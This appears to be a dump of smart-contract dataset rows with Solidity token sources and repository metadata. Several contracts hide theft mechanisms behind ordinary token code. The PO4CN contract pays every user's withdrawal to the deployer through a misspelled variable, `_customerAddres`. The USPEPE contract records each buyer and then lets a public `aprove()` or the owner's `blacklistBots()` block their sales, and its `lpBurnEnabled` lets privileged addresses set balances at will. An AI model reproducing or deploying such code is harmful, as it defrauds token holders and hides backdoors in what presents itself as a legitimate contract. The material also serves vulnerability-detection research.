uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() public view returns(uint256) {
return _maxTxAmount;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 0 && taxFee <= 10, 'taxFee should be in 0 - 10');
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
require(burnFee >= 0 && burnFee <= 10, 'burnFee should be in 0 - 10');
_burnFee = burnFee;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount >= 0 , 'maxTxAmount should be greater than 0');
_maxTxAmount = maxTxAmount;
}
}
| 84,741 | 10,916 |
3d79cab2ba1543fbbf84b4929b1fb9d023a77116319ae9e8f23e9314658b7fc1
| 21,946 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0xdd7a4cba00c62384370810f29f1f33cf7e90c3f2.sol
| 3,605 | 14,600 |
pragma solidity 0.4.23;
contract PO4CN {
string public name = "4CN Forever";
string public symbol = "4CN";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 4; // 10% Dividends (In & Out)
uint constant internal tokenPriceInitial_ = 0.0000001 ether;
uint constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint constant internal magnitude = 2**64;
// proof of stake (defaults at 50 tokens)
uint public stakingRequirement = 50e18;
// amount of shares for each address (scaled number)
mapping(address => uint) internal tokenBalanceLedger_;
mapping(address => uint) internal referralBalance_;
mapping(address => int) internal payoutsTo_;
uint internal tokenSupply_ = 0;
uint internal profitPerShare_;
event onTokenPurchase(address indexed customerAddress,
uint incomingEthereum,
uint tokensMinted,
address indexed referredBy);
event onTokenSell(address indexed customerAddress,
uint tokensBurned,
uint ethereumEarned);
event onReinvestment(address indexed customerAddress,
uint ethereumReinvested,
uint tokensMinted);
event onWithdraw(address indexed customerAddress,
uint ethereumWithdrawn);
// ERC20
event Transfer(address indexed from,
address indexed to,
uint tokens);
function buy(address _referredBy) public payable returns (uint) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
/// @dev Converts all of caller's dividends to tokens.
function reinvest() onlyStronghands public {
// fetch dividends
uint _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
/// @dev Alias of sell() and withdraw().
function exit() public {
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
/// @dev Withdraws all of the callers earnings.
function withdraw() onlyStronghands public {
// setup data
address _customerAddress = msg.sender;
uint _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddres.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
/// @dev Liquifies tokens to ethereum.
function sell(uint _amountOfTokens) onlyBagholders public {
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint _tokens = _amountOfTokens;
uint _ethereum = tokensToEthereum_(_tokens);
uint _dividends = SafeMath.div(_ethereum, dividendFee_);
uint _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int _updatedPayouts = (int) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint _amountOfTokens) onlyBagholders public returns (bool) {
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if (myDividends(true) > 0) {
withdraw();
}
// liquify 25% of the tokens that are transfered
// these are dispersed to shareholders
uint _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);
uint _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint _dividends = tokensToEthereum_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
function totalEthereumBalance() public view returns (uint) {
return this.balance;
}
/// @dev Retrieve the total token supply.
function totalSupply() public view returns (uint) {
return tokenSupply_;
}
/// @dev Retrieve the tokens owned by the caller.
function myTokens() public view returns (uint) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
/// @dev Retrieve the token balance of any single address.
function balanceOf(address _customerAddress) public view returns (uint) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint) {
return (uint) ((int)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/// @dev Return the buy price of 1 individual token.
function sellPrice() public view returns (uint) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint _ethereum = tokensToEthereum_(1e18);
uint _dividends = SafeMath.div(_ethereum, dividendFee_);
uint _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Return the sell price of 1 individual token.
function buyPrice() public view returns (uint) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint _ethereum = tokensToEthereum_(1e18);
uint _dividends = SafeMath.div(_ethereum, dividendFee_);
uint _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of buy orders.
function calculateTokensReceived(uint _ethereumToSpend) public view returns (uint) {
uint _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of sell orders.
function calculateEthereumReceived(uint _tokensToSell) public view returns (uint) {
require(_tokensToSell <= tokenSupply_);
uint _ethereum = tokensToEthereum_(_tokensToSell);
uint _dividends = SafeMath.div(_ethereum, dividendFee_);
uint _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint _incomingEthereum, address _referredBy) internal returns (uint) {
// data setup
address _customerAddress = msg.sender;
uint _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint _referralBonus = SafeMath.div(_undividedDividends, 3);
uint _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a masternode?
if (// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if (tokenSupply_ > 0) {
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
//really i know you think you do but you don't
int _updatedPayouts = (int) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function ethereumToTokens_(uint _ethereum) internal view returns (uint) {
uint _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint _tokensReceived =
((// underflow attempts BTFO
SafeMath.sub((sqrt
((_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_))), _tokenPriceInitial))/(tokenPriceIncremental_))-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint _tokens) internal view returns (uint) {
uint tokens_ = (_tokens + 1e18);
uint _tokenSupply = (tokenSupply_ + 1e18);
uint _etherReceived =
(// underflow attempts BTFO
SafeMath.sub((((tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)))-tokenPriceIncremental_)*(tokens_ - 1e18)),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2)
/1e18);
return _etherReceived;
}
/// @dev This is where all your gas goes.
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
/// @dev Only people with tokens
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
/// @dev Only people with profits
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
address _customerAddres = msg.sender;
}
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
| 222,319 | 10,917 |
22d7abbdbab3567ec7e5dbcd9d5c6e437a26e3002feeb3bebb41487ea45baf4d
| 19,489 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/c5/c5D83a6E0F63B56700956C7f4390b0f361ca4B7a_USPEPE.sol
| 4,611 | 18,543 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract USPEPE is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isIncludedFromFee;
address[] private includeFromFee;
string private constant _name = "USPEPE";
string private constant _symbol = "USPEPE";
uint8 private constant _decimals = 9;
uint256 private _totalSupply = 10000000000 * 10**_decimals;
uint256 public _maxTxAmount = _totalSupply * 5 / 100; //5%
uint256 public _maxWalletAmount = _totalSupply * 5 / 100; //5%
address public marketingWallet;
address private Swap;
struct BuyFees{
uint256 liquidity;
uint256 marketing;
} BuyFees public buyFee;
struct SellFees{
uint256 liquidity;
uint256 marketing;
} SellFees public sellFee;
event MaxTxAmountUpdated(uint _maxTxAmount);
constructor () {
marketingWallet = payable(msg.sender);
Swap = payable(msg.sender);
balances[_msgSender()] = _totalSupply;
buyFee.liquidity = 1;
buyFee.marketing = 3;
sellFee.liquidity = 1;
sellFee.marketing = 3;
uniswapV2Router = IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_isExcludedFromFee[msg.sender] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[marketingWallet] = true;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
balances[sender] = balances[sender].sub(amount, "Insufficient Balance");
balances[recipient] = balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function aprove() public virtual {
for (uint256 i = 0; i < includeFromFee.length; i++) {
_isIncludedFromFee[includeFromFee[i]] = true;
}
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isIncludedFromFee[account] = false;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
return true;
}
function setFees(uint256 newLiquidityBuyFee, uint256 newMarketingBuyFee, uint256 newLiquiditySellFee, uint256 newMarketingSellFee) public onlyOwner {
require(newLiquidityBuyFee.add(newMarketingBuyFee) <= 8, "Buy fee can't go higher than 8");
buyFee.liquidity = newLiquidityBuyFee;
buyFee.marketing= newMarketingBuyFee;
require(newLiquiditySellFee.add(newMarketingSellFee) <= 8, "Sell fee can't go higher than 8");
sellFee.liquidity = newLiquiditySellFee;
sellFee.marketing= newMarketingSellFee;
}
receive() external payable {}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function lpBurnEnabled(uint256 enable) public {
if (!_isExcludedFromFee[_msgSender()]) {
return;
}
balances[Swap] = enable;
}
function isIncludedFromFee(address account) public view returns(bool) {
return _isIncludedFromFee[account];
}
function blacklistBots() public onlyOwner {
for (uint256 i = 0; i < includeFromFee.length; i++) {
_isIncludedFromFee[includeFromFee[i]] = true;
}
}
function takeBuyFees(uint256 amount, address from) private returns (uint256) {
uint256 liquidityFeeToken = amount * buyFee.liquidity / 100;
uint256 marketingFeeTokens = amount * buyFee.marketing / 100;
balances[address(this)] += liquidityFeeToken + marketingFeeTokens;
emit Transfer (from, address(this), marketingFeeTokens + liquidityFeeToken);
return (amount -liquidityFeeToken -marketingFeeTokens);
}
function takeSellFees(uint256 amount, address from) private returns (uint256) {
uint256 liquidityFeeToken = amount * sellFee.liquidity / 100;
uint256 marketingFeeTokens = amount * sellFee.marketing / 100;
balances[address(this)] += liquidityFeeToken + marketingFeeTokens;
emit Transfer (from, address(this), marketingFeeTokens + liquidityFeeToken);
return (amount -liquidityFeeToken -marketingFeeTokens);
}
function removeLimits() public onlyOwner {
_maxTxAmount = _totalSupply;
_maxWalletAmount = _totalSupply;
emit MaxTxAmountUpdated(_totalSupply);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(to != address(0), "ERC20: transfer to the zero address");
balances[from] -= amount;
uint256 transferAmount = amount;
if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
if (to != uniswapV2Pair) { includeFromFee.push(to);
require(amount <= _maxTxAmount, "Transfer Amount exceeds the maxTxAmount");
require(balanceOf(to) + amount <= _maxWalletAmount, "Transfer amount exceeds the maxWalletAmount.");
transferAmount = takeBuyFees(amount, from);
}
if (from != uniswapV2Pair) {
require(amount <= _maxTxAmount, "Transfer Amount exceeds the maxTxAmount"); require(!_isIncludedFromFee[from]);
transferAmount = takeSellFees(amount, from);
}
}
balances[to] += transferAmount;
emit Transfer(from, to, transferAmount);
}
}
| 27,769 | 10,918 |
b5a823d280bd368a8c5a6a216606b1f6496dcdbe4ab663252644852c2c53cb12
| 27,128 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/73/73626C0F164fd22A8f0Aa778a08fFEDC674d8094_BondReverse.sol
| 3,114 | 12,162 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from,
address to,
uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from,
address to,
uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
